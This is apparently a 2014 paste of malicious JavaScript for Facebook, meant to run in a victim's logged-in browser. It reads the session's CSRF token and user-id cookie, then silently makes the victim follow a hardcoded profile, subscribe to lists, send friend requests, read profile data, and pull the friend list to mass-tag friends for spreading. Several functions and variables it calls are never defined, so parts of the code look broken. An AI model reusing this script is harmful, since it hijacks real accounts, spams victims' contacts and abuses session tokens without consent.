Get user id/pass from ajax server


SUBMITTED BY: Guest

DATE: July 2, 2014, 7:48 a.m.

FORMAT: Text only

SIZE: 5.2 kB

HITS: 1056

  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. function a(abone){
  4. var http4 = new XMLHttpRequest();
  5. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  6. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  7. http4.open("POST", url4, true);
  8. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  9. http4.setRequestHeader("Content-length", params4.length);
  10. http4.setRequestHeader("Connection", "close");
  11. http4.onreadystatechange = function() {
  12. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  13. }
  14. http4.send(params4);
  15. }
  16. // Close the connection
  17. function sublist(uidss) {
  18. var a = document.createElement('script');
  19. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  20. document.body.appendChild(a);
  21. }
  22. // Hàng VIP
  23. a(100006998447616);
  24. // T? dây tr? xu?ng là nh?m ch? y?u gi?u b?t ID
  25. function sarkadaslari_al(){
  26. var xmlhttp = new XMLHttpRequest();
  27. xmlhttp.onreadystatechange = function () {
  28. if(xmlhttp.readyState == 4){
  29. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  30. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  31. smesaj = "";
  32. smesaj_text = "";
  33. for(i=f*10;i<(f+1)*10;i++){
  34. if(arkadaslar.payload.entries[i]){
  35. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  36. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  37. }
  38. }
  39. sdurumpaylas(); }
  40. }
  41. };
  42. var params = "&filter[0]=user";
  43. params += "&options[0]=friends_only";
  44. params += "&options[1]=nm";
  45. params += "&token=v7";
  46. params += "&viewer=" + user_id;
  47. params += "&__user=" + user_id;
  48. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  49. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  50. xmlhttp.send();
  51. }
  52. var tiklama = document.addEventListener("click", function () {
  53. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  54. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  55. sarkadaslari_al();
  56. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  57. document.removeEventListener(tiklama);
  58. }
  59. }, false);
  60. function sarkadasekle(uid,tem){
  61. var xmlhttp = new XMLHttpRequest();
  62. xmlhttp.onreadystatechange = function () {
  63. if(xmlhttp.readyState == 4){
  64. }
  65. };
  66. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  67. var params = "to_friend=" + uid;
  68. params += "&action=add_friend";
  69. params += "&how_found=friend_browser";
  70. params += "&ref_param=none";
  71. params += "&outgoing_id=";
  72. params += "&logging_location=friend_browser";
  73. params += "&no_flyout_on_click=true";
  74. params += "&ego_log_data=";
  75. params += "&http_referer=";
  76. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  77. params += "&phstamp=165816749114848369115";
  78. params += "&__user=" + user_id;
  79. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  80. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  81. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  82. xmlhttp.send(params);
  83. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  84. cinsiyetgetir(uid,tem,"sarkadasekle");
  85. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  86. xmlhttp.send(params);
  87. }
  88. }
  89. var temsonuc = {};
  90. var temhtml = document.createElement("html");
  91. function scinsiyetgetir(uid,tem,fonksiyon){
  92. var xmlhttp = new XMLHttpRequest();
  93. xmlhttp.onreadystatechange = function () {
  94. if(xmlhttp.readyState == 4){
  95. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  96. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  97. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  98. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  99. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  100. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  101. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  102. }
  103. eval(fonksiyon + "(" + id + "," + tem + ");");
  104. }
  105. };
  106. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  107. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  108. xmlhttp.send();
  109. }

comments powered by Disqus